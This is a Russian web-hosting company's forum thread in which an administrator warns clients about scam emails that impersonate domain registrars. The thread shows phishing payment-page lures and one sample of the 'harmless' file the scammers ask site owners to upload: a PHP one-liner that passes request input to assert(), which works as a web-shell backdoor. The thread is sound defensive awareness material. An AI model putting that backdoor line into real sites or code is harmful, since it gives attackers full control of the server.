RuWeb.net - хостинг и регистрация доменных имен
ГЛАВНАЯ ХОСТИНГ ДОМЕНЫ VDS СЕРВЕР ИНФОРМАЦИЯ КЛИЕНТЫ ПРАВИЛА ОПЛАТА ЗАКАЗ ФОРУМ
go to bottom

Версия для печати | Подписаться | Добавить в избранное   Ответ на сообщение
Автор: Тема: Рассылка от имени регистраторов (мошенничество)
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 27.1.2017 в 09:40 Ответить с цитированием
Рассылка от имени регистраторов (мошенничество)


Очередное мошенничество с целью заполучить обманным путём доступ к Вашему хостингу.
Злоумышленники рассылают письма от имени регистраторов, официальных органов и так далее,в которых указывают имя Вашего сайта и требование к выполнению каких-то действий (подтверждение права на домен, подтверждение администратора и так далее).
И якобы для этого надо разместить на вашем сайте маленький файл с безобидной на первый взгляд строчкой. НЕ ДЕЛАЙТЕ ЭТОГО
Вы тем самым даёте злоумышленнику полный доступ к Вашему сайту.

[Отредактировано 27.1.2017 кто support]




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
Анонимный
Не зарегистрирован




Сообщения: N/A
Зарегистрирован: N/A
Пользователя нет на форуме

[*] когда размещено 27.1.2017 в 12:29 Ответить с цитированием


Цитата:
Исходное сообщение добавлено kpv
[size=5][color=Red]маленький файл с безобидной на первый взгляд строчкой


и что это за строчка?
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 27.1.2017 в 13:39 Ответить с цитированием


варианты могут быть разные, вот один из примеров

Код:

<?php
assert(stripslashes($_REQUEST[BLABLABLA]));
?>




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 31.8.2017 в 20:46 Ответить с цитированием


Внимание, мошенники теперь начали новые рассылки, где запугивают удалением домена и требованием немедленно оплатить продление домена. Письмо может придти от любого регистратора и маскировка идёт очень искусно, смотрите пример письма

kpv прикрепил это изображение:
1504117967142757526.png - 51.18kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 31.8.2017 в 20:49 Ответить с цитированием


Ни в коем случае не переходите по ссылкам в таком письме, так как попадёте якобы на сайт платёжной системы и данные от банковской карты попадут к злоумышленникам и Вы потеряете все свои деньги. Фишинговая страница тоже очень хорошо оформлена, но находится она, обычно, на взломанных сайтах

kpv прикрепил это изображение:
1504118203114139883.png - 81.78kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 22.8.2018 в 09:21 Ответить с цитированием


Мошенники продолжают рассылать письма, вот пример стилизации письма под регистратора REGRU.
Будьте бдительны и не поддавайтесь на провокации. В случае каких-либо сомнений в подлинности письма - обязательно пишите нам свои вопросы.

kpv прикрепил это изображение:
fishing_regru.jpg - 70.38kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 22.8.2018 в 14:06 Ответить с цитированием


Наши клиенты присылают нам образцы подобных писем, вот ещё парочка. Обратите внимание - ссылка на оплату ведёт на совершенно посторонний сайт, который перенаправляет на сайт Яндекс Денег, где вам предлагается перевести энную сумму на счета мошенников

kpv прикрепил это изображение:
fishing_r01.jpg - 68.2kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 22.8.2018 в 14:08 Ответить с цитированием


это уже после перехода по ссылке в письме предлагается заплатить на кошелёк мошенника

[Отредактировано 22.8.2018 кто kpv]

kpv прикрепил это изображение:
fishing_r01y.jpg - 66.28kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 3.10.2018 в 11:39 Ответить с цитированием


Ещё одно письмо в коллекцию "Письма от регистраторов"


[Отредактировано 3.10.2018 кто kpv]

kpv прикрепил это изображение:
regru_letter3.jpg - 81.02kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 3.2.2020 в 13:22 Ответить с цитированием


Видимо это очень прибыльный "бизнес", сообщения владельцам доменов идут круглогодично и до сих пор. Ссылка на оплату идёт прямо на сайт Яндекс Денег, но это частный кошелёк мошенника, а не регистратора


[Отредактировано 3.2.2020 кто kpv]

kpv прикрепил это изображение:
cn-gift.png - 33.42kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
kpv
Super Administrator
*********




Сообщения: 2141
Зарегистрирован: 24.9.2004
Пользователя нет на форуме

[*] когда размещено 4.2.2020 в 19:48 Ответить с цитированием


все эти письма от мошенников, поэтому внимательно смотрите куда ведёт ссылка для оплаты и с какого адреса пришло письмо. Если возникают какие-то вопросы - не стесняйтесь нас спросить и уточнить

kpv прикрепил это изображение:
kerbet.png - 41.12kb




http://help.ruweb.net/faq
Просмотреть Профиль Пользователя Посетить Домашнюю Страницу Пользователя Просмотреть все сообщения этого пользователя Отправить пользователю личное сообщение
Ответ на сообщение

 » Быстрый Ответ - [Вы вошли как ]
Пожалуйста введите код показанный на картинке в поле расположенное под ней. Это нужно для предотвращения регистрации автоматических ботов.

Проверка Рисунком Captcha

HTML - Выкл.
Смайлики включены Вкл.
BB-код - Вкл.
[img] код - Вкл.

Отключить смайлики?
Использовать подпись?
Выключить BB-код?
Получать уведомления на e-mail об ответе?

  

Powered by XMB
Разработано Группа XMB © 2001-2008
[запросов: 21] [PHP: 69.6% - SQL: 30.4%]
go to top
Центр поддержки (круглосуточно)
https://ruweb.net/support/
Москва(499) 502-44-31
Санкт-Петербург(812) 336-42-55
Нижний Новгород(831) 411-12-44
Екатеринбург(343) 204-71-16
© 2002-2013 ЗАО "РУВЕБ"

Дизайн - CredoDesign
Rambler\'s Top100 Рейтинг@Mail.ru
RuWeb.net - Хостинг веб-сайтов (первый месяц - бесплатно). Регистрация доменов.